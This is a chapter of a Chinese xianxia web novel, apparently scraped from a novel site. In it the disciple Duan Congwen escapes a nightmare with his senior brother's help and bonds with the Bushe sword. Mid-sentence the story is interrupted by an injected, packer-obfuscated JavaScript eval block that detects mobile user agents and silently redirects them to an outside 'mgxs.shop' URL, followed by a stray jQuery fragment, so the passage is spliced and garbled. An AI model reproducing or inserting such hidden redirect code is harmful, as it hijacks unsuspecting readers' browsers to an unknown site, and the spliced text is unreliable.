文趣网 > 其他小说 > 大师兄你偏心 > 8. 大师兄来了
    段从闻站在虚无之中,周围的空气冰冷刺骨,仿佛要将他的灵魂都冻住。

    他下意识地想要运转灵力,却发现体内的灵力被什么东西禁锢了,完全无法调动。

    黑暗中,突然传来一阵尖锐的笑声,段从闻警惕地抬头望去,什么都没有。

    笑声持续不断,周围开始慢慢浮现出一个接着一个的黑影,绕着段从闻打转,一边绕一边发出刺耳的嘲笑声。

    “连一把剑都选不上,你还有什么用?”

    “就你这样的还配跟齐师兄比?笑死人了。”

    “妖修就是妖修,再怎么修炼也改变不了骨子里的低贱。”

    “我们伏龙峰的脸都被你丢光了,你怎么还有脸活着?”

    嘲讽声越来越多,越来越密,像无数根针扎进他的耳朵里。

    段从闻脸色逐渐变得苍白,这些声音他太熟悉了,熟悉到他几乎能清晰地回忆起当时每个人的表情,每个人的语气,甚至就连那些人身上的气味都环绕在鼻尖。

    他的呼吸越来越急促,胸口剧烈地起伏着,他咬紧牙关,强迫自己不要去听,不要去看。

    “从闻啊。”一个温柔的声音响起。

    段从闻的身体瞬间僵住,这个声音……

    他缓慢地抬眼,便看到林知意从黑暗中走出来,站到自己的面前,居高临下地看着他。

    那双总是笑吟吟的眼睛此刻满是失望,像是在看一堆扶不上墙的烂泥一样。

    “本来以为你资质不错,才收你入门,没想到你这么没用,早知如此,我就不应该在你身上浪费这么多资源!”

    段从闻的嘴唇在发抖,他张口想说点什么,但却一句话都说不出来,喉咙跟被掐住了一样。

    “也罢。”林知意转过身去,背对着他,“你自请离开吧,就当我从来没有见过你。”

    不……不要……

    段从闻拼命摇头,他想去追,但脚下的地面忽然变得柔软起来,像是踩在了一团棉花上,整个人开始往下陷。

    他越是挣扎,陷得越深,最后只能眼睁睁地看着林知意的身影消失在黑暗里。

    段从闻大口大口地喘着粗气,脚下的触感越发不对劲,他低头一看,瞳孔猛地收缩。

    脚下的地面不知何时变成了一片漆黑的沼泽,粘稠的泥浆正缓慢地吞噬着他的脚踝。

    段从闻下意识地想要挣脱,但他的脚刚抬起来,无数根黑色的触手迅速地从沼泽中伸出来,缠住他的脚,将他往下拽。

    “放开!”段从闻试图挣扎。

    沼泽却像是活的一样,越来越多的触手从里面冒出来,缠住他的小腿,他的膝盖,他的腰……

    冰冷的触感透过衣料贴在皮肤上,像无数条蛇在身上游走。

    那些黑影还在转。

    “哈哈哈你看他那个狼狈样!”

    “活该,谁让他自不量力。”

    “扫把星!你克死了你爹娘你怎么还有脸活着?”

    段从闻眼眶布满了血丝,他的下唇已经被咬出血来,满嘴的血腥味。

    他甩了甩脑袋,调整好状态,双手撑在沼泽边缘,想把自己拔出来,但他每往上挣一寸,就会被往下拽两寸。

    沼泽已经没过了他的腰,触手缠住了他的手臂,缠住了他的脖子,一点一点地收紧,像是要勒碎他的骨头。

    段从闻用尽全身力气,都无济于事,他觉得自己此刻如同一只被蛛网缠住的飞虫,再怎么挣扎都只是徒劳。

    沼泽没过了他的胸口,粘稠的泥浆压迫着他的胸腔,让他喘不上气来。

    上辈子发生过的事情还在继续播放,一幕一幕,像走马灯一样在他眼前闪过。

    被人嘲笑,被人排挤,被人踩在脚下。

    怎么也追不上的齐凌云,怎么也得不到的认可,怎么努力也没用的绝望。

    画面的最后,是那把刺穿他胸口的剑,还有齐凌云那张没有表情的脸。

    “何必呢?”齐凌云冷漠地开口。

    段从闻闭上眼睛。

    是啊,何必呢?反正再怎么努力也改变不了什么。

    沼泽已经没过他的肩膀,触手缠住了他的嘴,封住了他的呼吸,段从闻的意识开始变得模糊起来。

    “从闻!”一道急切的声音传来,像是从很远的地方传来一样,听不真切。

    段从闻迷迷瞪瞪地睁开眼,还没来得及研究这声音的真实性,下一秒他就仿佛落入一个温暖的怀抱。

    温热的气息透着后背源源不断地传来,段从闻的意识清醒了一点,感受到那股熟悉的气息,他紧绷着的身体一下子就垮了下来。

    “从闻,别怕。”林知意轻柔的声音再次传进耳边,同时,一股灵力从外界涌入他的身体,缓缓地流进他干涸的经脉中。

    那股灵力像一条温暖的河流,在他体内流淌,将那些寒冷一点一点地驱散。

    那些缠绕在段从闻身上的触手被灵力触碰到的瞬间就立马缩了回去,好像被烫到一般。

    那片快要将自己吞没的沼泽逐渐变得透亮,段从闻感觉身体一轻,压迫着他的力量消失了,取而代之的是一种被人温柔地抱在怀里,暖洋洋的感觉。

    沼泽彻底变成了一滩春水,包裹着他,段从闻眼角滚落一滴泪,滴进水里,激起涟漪。

    “从闻,没事了,大师兄来了。”

    大师兄来了……

    这个认知让段从闻彻底清醒过来,他被那池春水托举着来到岸边,他用力一撑,这次十分顺利地上了岸。

    周围的黑影似乎察觉到了什么,变得更加躁动,他们的笑声愈发尖锐,嘲讽声愈发恶毒。

    段从闻充耳不闻,他站在岸边,衣袍湿透了,水珠顺着衣摆一滴一滴地往下淌,但他没有再发抖。

    他静静地看着那些黑影跳上跳下,仿佛这一切跟他没有关系一样。

    “你以为重来一次你就能摆脱上辈子的悲惨结局吗?别痴心妄想了!废物就是废物!不管再重来多少次,都是一样的结果!”黑影歇斯底里地大喊。

    段从闻冷笑一声,他昂着下巴开口道:“你说不行就不行?那我偏偏要说一定行!而且,谁说都是一样的?我上辈子可没有大师兄。”

    黑影们彻底

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17672589|207400||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    停了下来,悬浮在半空中,像是一群被定格的木偶,连笑声都戛然而止。

    一道凌厉的剑光从天穹降落,光芒散去,一把长剑悬停在段从闻面前。

    不赦剑。

    段从闻愣愣地看着面前的剑,过了好一会儿,他才不可置信地伸出手,握住剑柄。

    不赦剑猛地一震,一股强大的力量从剑身涌入他的体内,那些围绕在他身边的黑影被这股力量震得到处散开来,发出惊恐的尖叫声。

    段从闻握着剑,朝着头顶那片无尽的黑暗,狠狠地劈了下去。

    一道漆黑的剑气从剑身上喷涌而出,像是一条黑色的巨龙,呼啸着冲向天空。

    剑气所过之处,黑暗像布帛一样被撕开,露出外面灰蒙蒙的天光。

    段从闻睁开眼,第一眼看到的就是林知意,那人半跪着搂住自己,碧色的眼睛里盛满了紧张和担忧。

    “大师兄。”段从闻喊了一声,声音有些哑。

    听到他的声音,林知意顿时松了一口气,他用力地搓了一把段从闻的脑袋。

    旁边,不赦剑的剑身上的锈迹已经完全脱落,露出它本来的面目。

    一柄通体漆黑的长剑,剑身上隐隐有光华流转,宛如深夜的星河。

    “去吧。”林知意含笑道。

    段从闻站起来,步伐坚定地一步一步走向不赦剑,他深吸一口气,用力将剑从石头中拔起。

    拔起的瞬间,不赦剑发出一声清越的剑鸣,随后便温顺地卷上段从闻的手臂。

    不赦剑认主后,灵力耗尽的段从闻再也撑不住,彻底晕了过去。

    **

    段从闻再次醒过来时,已经从剑冢里出来了,他有些茫然地从床上坐起来,扫了一眼四周,发现自己正处于自己的房间里。

    [恭喜宿主获得本命剑,反派气运值+5,主角气运值-2,主角当前气运值为90。]

    原来不止有抢夺主角机缘可以降低主角的气运值,自己变强也能降低气运值,段从闻了然。

    正思索间,门“嘎吱”响了一声,他扭头看去。

    林知意走了进来,见到他醒着,语气关心地问道:“感觉怎么样?”

    “我没什么事,就是觉得有点累。”段从闻如实回答。

    “嗯,那就好。”林知意走到床边坐下,他微微一笑,语气平静地开口,“从闻。”

    只是两个字,语气甚至比平时还要柔和几分,段从闻却隐隐有种后背发凉的感觉。

    他下意识地跪坐好,不知为何,莫名感觉到一股强大的威压。

    “我在进剑冢之前跟你说过什么你还记得吗?”林知意收起了笑容,看上去比以往严肃了不少。

    段从闻努力把进剑冢前的记忆扒拉出来,“不,不可以贪心?”

    “是无论如何,生命最重要。”林知意抬手轻轻弹了一下他的额头。

    “我不反对你去争,但是起码要找一个人陪着你,当时那个情况若是我再晚来一步会有什么后果,你自己想想。”

    段从闻垂下头,像做错事的孩子一样,小声说:“我错了。”